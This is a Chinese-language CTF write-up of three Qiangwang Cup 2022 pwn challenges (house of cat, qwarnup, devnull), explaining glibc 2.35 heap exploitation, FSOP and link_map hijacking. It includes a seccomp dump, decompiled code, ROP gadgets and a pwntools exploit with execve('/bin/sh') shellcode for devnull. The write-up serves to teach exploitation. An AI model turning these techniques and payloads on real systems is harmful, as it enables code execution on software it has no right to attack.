强网杯2022-houseofcat&qwarnup&devnull writeup
前言
好久好久没打比赛,也没写blog了。这次强网杯难得iptl大佬带我打一次,得好好记录一下。题目质量很高,学到不少新姿势。
house of cat
题目有add,delete,show,edit功能,限制只能申请largebin,delete没清空指针,只能edit两次,限制系统调用。题目使用libc-2.351
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0d 0xffffffff if (A != 0xffffffff) goto 0018
0005: 0x15 0x0b 0x00 0x0000013e if (A == getrandom) goto 0017
0006: 0x15 0x0a 0x00 0x00000002 if (A == open) goto 0017
0007: 0x15 0x09 0x00 0x00000003 if (A == close) goto 0017
0008: 0x15 0x08 0x00 0x00000009 if (A == mmap) goto 0017
0009: 0x15 0x07 0x00 0x0000000c if (A == brk) goto 0017
0010: 0x15 0x06 0x00 0x000000e7 if (A == exit_group) goto 0017
0011: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0016
0012: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0013: 0x15 0x00 0x04 0x00000000 if (A != 0x0) goto 0018
0014: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0015: 0x15 0x01 0x02 0x00000000 if (A == 0x0) goto 0017 else goto 0018
0016: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x06 0x00 0x00 0x00000000 return KILL
主要参考house of apple2。(现在的house多得记不住了。。。)
攻击思路:
- UAF泄露libc,heap地址
- largebin attack将可控heap地址写入stderr
- 修改top chunk,触发报错
完整利用链为:sysmalloc-->assert->__malloc_assert->fflush(stderr)->IO_jump_t.__sync
,劫持stderr结构体之后进入_IO_wstrn_jumps._IO_wdefault_xsgetn
函数的调用链如下:1
2
3
4
5_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)
由于题目有seccmop限制,只能用ROP,本次利用svcudp_reply+26
,其中rdi为伪造结构体的地址1
2
3
4
5
60x7f78243fb1fa <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
0x7f78243fb1fe <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
0x7f78243fb202 <svcudp_reply+34>: lea r13,[rbp+0x10]
0x7f78243fb206 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
0x7f78243fb20d <svcudp_reply+45>: mov rdi,r13
0x7f78243fb210 <svcudp_reply+48>: call QWORD PTR [rax+0x28]
1 | def menu(idx): |
qwarnup
1 | void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) |
当申请的堆块足够大时,可以申请到接近libc前面内存。题目中会检查size,如果size小于0x10000,可以循环写,如果大于0x10000只能写一次。需要利用一次libc任意地址写1字节,使程序进入死循环。可以参考:Nightmare: One Byte to ROP , 本地的libc修改_Exit为write会报错,因此不能用此方法,但原理相同。
_dl_fixup_
查找完函数地址后,会将函数地址回填到got表,那么可以通过修改link_map->l_addr
,使回填的函数填到write@got
某个偏移的地方,上述文章将偏移修改到_Exit@got
,此题可以利用libc地址前面8位的高位为0的特点,覆盖在bss段的size,让程序进入死循环。
由于write的函数地址没有成功回填到got表,后面每次调用还会走symbol查找流程。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // DT_STRTAB id=5
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
_dl_lookup_symbol_x
函数的第一个参数就是待查找函数的函数名,而sym->st_name
对于同一个函数而言是一个固定值(write = 34),而strtab
则是来源于于libc上的全局结构体link_map
,那么可以劫持link_map->l_info[DT_STRTAB]
,使其指向可控内存段,达到任意函数调用。
DT_STRTAB
在elf中,由于没有泄露任何地址,目前是通过偏移进行任意地址写,这里找到DT_DEBUG
这个表是指向libc地址,可以通过改写最低位,使link_map->l_info[DT_STRTAB]
指向libc地址,然后我们在DT_DEBUG+34
的地方写入需要调用的函数。
后续通过修改stdout结构体进行libc地址泄露及FSOP,本次继续使用_IO_wdefault_xsgetn
的利用链,ROP照抄上面一题即可,注意需要小改一下。1
_IO_flush_all -> _IO_flush_all_lockp --> IO_jump_t.__overflow
1 | def write(offset, bytes, tag=True): |
devnull
题目关键函数如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36int sub_40138F()
{
char s[32]; // [rsp+0h] [rbp-40h] BYREF
int fd; // [rsp+20h] [rbp-20h]
int v3; // [rsp+24h] [rbp-1Ch] BYREF
void *buf; // [rsp+38h] [rbp-8h]
sub_401356("/deb/null may cause some error\n");
stream = fopen("/dev/null", "rb");
fd = dword_404028;
if ( !stream )
{
sub_401356("error\n");
exit(1);
}
buf = malloc(dword_404010);
sub_401356("please input your filename\n");
fgets(s, n, stdin); // 可以溢出覆盖fd为0
sub_401356("Please write the data you want to discard\n");
if ( read(fd, &v3, dword_404014) ) // 栈溢出,刚好到ret
{
sub_4012B6(); // 把.data和.bss改成只能执行
sub_401356("please input your new data\n");
if ( !read(fd, buf, dword_404010) ) // 覆盖buf后任意地址写
exit(1);
sub_401356("Thanks\n");
return close(1);
}
else
{
sub_401356("no junk data?\n");
sub_401356("please input your new data\n");
read(0, buf, dword_404010);
return sub_4012E0(s, buf);
}
}
解题思路:
第一次输入20个字符将fd覆盖为0,下一次输入就刚好可以覆盖rbp和函数返回地址,同时也会将buf覆盖掉,可以进行任意地址写。由于.data和.bss被改成了只能能执行,可以使用0x3fe000-0x400000这个区域,然后栈迁移过去跑ROP。
本题可用gadget较少,需要一点技巧,主要使用了以下两个gadget。1
2
3
4
5
6
7
8
9
10
11
12p.sendafter(b'filename\n',b'a'*0x20)
# .text:0000000000401350 48 8B 45 E8 mov rax, [rbp+s]
# .text:0000000000401354 C9 leave
# .text:0000000000401355 C3 retn
p.sendafter(b'discard\n',b'a'*0x14+p64(0x3ff000)+p64(0x3ff020-8)+p64(0x401350))
# execute('/bin/sh',0,0)
shellcode = asm('mov rax, 0x3b; mov rdi, 0x3ff018; mov rsi, 0; mov rdx, 0; syscall')
# .text:00000000004012D0 BE 00 10 00 00 mov esi, 1000h ; len
# .text:00000000004012D5 48 89 C7 mov rdi, rax ; addr
# .text:00000000004012D8 E8 C3 FE FF FF call _mprotect
p.sendafter(b'data\n',p64(0x3ff000).ljust(0x18,b'a')+b'/bin/sh\x00'+flat(0x4012d0, 0xdeadbeef, 0x3ff038)+shellcode)
p.interactive() # exec 1>&2
后记
本次比赛pwn完成进度3/18,其他估计也做不出来了。决赛见。